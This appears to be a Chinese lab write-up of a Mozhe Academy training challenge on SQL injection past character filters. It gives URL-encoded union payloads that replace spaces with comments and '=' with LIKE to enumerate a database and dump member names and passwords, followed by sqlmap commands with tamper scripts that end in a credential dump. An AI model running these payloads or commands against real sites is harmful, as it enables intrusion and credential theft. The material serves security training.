1. 墨者學院:SQL過濾字符后手工注入漏洞測試(第1題)🚀
2. 漏洞背景與測試思路🔍
在Web安全測試中,當遇到對輸入字符有過濾的SQL注入漏洞時,我們需要使用特殊技巧繞過過濾機制。本次測試的目標URL存在字符過濾,需要注意:
- 空格被過濾 → 使用
/**/
代替 - 等號(=)被過濾 → 使用
like
代替
URL編碼過程 :將需要編碼的字符轉換為ASCII碼值→將ASCII碼值轉換為兩位十六進制數→在十六進制數前加上百分號(%)
編碼工具建議使用Burpsuite自帶的Decoder,網上的很多在線工具多數都不能一次性加密為URL樣式,待我找找看:
3. 手工注入測試過程🎯
測試環境?
我的起始URL:http://124.70.71.251:42546/new_list.php?id=
,以自己的靶場地址為準。
3.1 判斷字段數?
原始語句:1 order by 5
繞過過濾:1/**/order/**/by/**/5
URL編碼:%31%2f%2a%2a%2f%6f%72%64%65%72%2f%2a%2a%2f%62%79%2f%2a%2a%2f%35
3.2 確定顯示位置?
原始語句:-1 union select 1,2,3,4
繞過過濾:-1/**/union/**/select/**/1,2,3,4
URL編碼:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%32%2c%33%2c%34
3.3 獲取數據庫信息?
原始語句:-1 union select 1,database(),version(),4
繞過過濾:-1/**/union/**/select/**/1,database(),version(),4
URL編碼:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%64%61%74%61%62%61%73%65%28%29%2c%76%65%72%73%69%6f%6e%28%29%2c%34
3.4 獲取系統信息?
原始語句:-1 union select 1,@@version_compile_os,user(),4
繞過過濾:-1/**/union/**/select/**/1,@@version_compile_os,user(),4
URL編碼:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%70%69%6c%65%5f%6f%73%2c%75%73%65%72%28%29%2c%34
3.5 獲取數據表?
原始語句:-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = 'mozhe_discuz_stormgroup'
繞過過濾:-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'mozhe_discuz_stormgroup'
URL編碼:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%2c%33%2c%34%2f%2a%2a%2f%66%72%6f%6d%2f%2a%2a%2f%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%2f%2a%2a%2f%77%68%65%72%65%2f%2a%2a%2f%74%61%62%6c%65%5f%73%63%68%65%6d%61%2f%2a%2a%2f%6c%69%6b%65%2f%2a%2a%2f%27%6d%6f%7a%68%65%5f%64%69%73%63%75%7a%5f%73%74%6f%72%6d%67%72%6f%75%70%27
3.6 獲取字段名?
原始語句:-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'stormgroup_member'
繞過過濾:-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'stormgroup_member'
URL編碼:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%29%2c%33%2c%34%2f%2a%2a%2f%66%72%6f%6d%2f%2a%2a%2f%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%2f%2a%2a%2f%77%68%65%72%65%2f%2a%2a%2f%74%61%62%6c%65%5f%6e%61%6d%65%2f%2a%2a%2f%6c%69%6b%65%2f%2a%2a%2f%27%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72%27
3.7 獲取數據內容?
原始語句:-1 union select 1,group_concat(name),group_concat(password),4 from stormgroup_member
繞過過濾:-1/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/stormgroup_member
URL編碼:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%6e%61%6d%65%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%70%61%73%73%77%6f%72%64%29%2c%34%2f%2a%2a%2f%66%72%6f%6d%2f%2a%2a%2f%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72
4. 使用sqlmap自動化測試🎯
4.1 基本數據庫探測?
python sqlmap.py -u "http://124.70.71.251:42546/new_list.php?id=1" \
--tamper space2comment,equaltolike,charencode \
--dbs --batch
tamper腳本說明:
腳本名稱 | 功能描述 | 示例轉換 |
---|---|---|
space2comment | 將空格替換為/**/ | select 1 → select/**/1 |
equaltolike | 將=替換為like | where id=1 → where id like 1 |
charencode | URL編碼特殊字符 | select → %73%65%6c%65%63%74 |
4.2 獲取指定數據表?
python sqlmap.py -u "http://124.70.71.251:42546/new_list.php?id=1" \
-D mozhe_discuz_stormgroup --tables \
--tamper space2comment,equaltolike,charencode --batch
4.3 獲取表字段?
python sqlmap.py -u "http://124.70.71.251:42546/new_list.php?id=1" \
-D mozhe_discuz_stormgroup -T stormgroup_member --columns \
--tamper space2comment,equaltolike,charencode --batch
4.4 導出數據?
python sqlmap.py -u "http://124.70.71.251:42546/new_list.php?id=1" \
-D mozhe_discuz_stormgroup -T stormgroup_member \
-C id,name,password,status --dump \
--tamper space2comment,equaltolike,charencode --batch
4.5 清除緩存?
python sqlmap.py --purge
該指令用于清除sqlmap的緩存,因為重啟靶場,端口會發生變化,可能獲取到的password是之前的數據,詳細的sqlmap指令獲取如下:
python sqlmap.py -h
4.6 關鍵參數說明?
參數 | 說明 | 示例 |
---|---|---|
-u | 目標URL | -u “http://example.com?id=1” |
--tamper | 使用tamper腳本繞過過濾 | –tamper space2comment |
--dbs | 枚舉數據庫 | –dbs |
-D | 指定數據庫 | -D database_name |
-T | 指定數據表 | -T table_name |
-C | 指定字段 | -C column1,column2 |
--dump | 導出數據 | –dump |
--batch | 自動選擇默認選項 | –batch |
5. 總結🏁
-
手工注入要點:
- 使用
/**/
替代空格繞過過濾 - 使用
like
替代等號(=) - 關鍵字符進行URL編碼
- 通過information_schema獲取數據庫結構信息
- 使用
-
sqlmap自動化測試優勢:
- 內置多種tamper腳本可組合使用
- 自動識別注入類型和最佳注入方式
- 支持數據導出和結果保存
聲明:本文僅用于安全學習,嚴禁非法測試! ???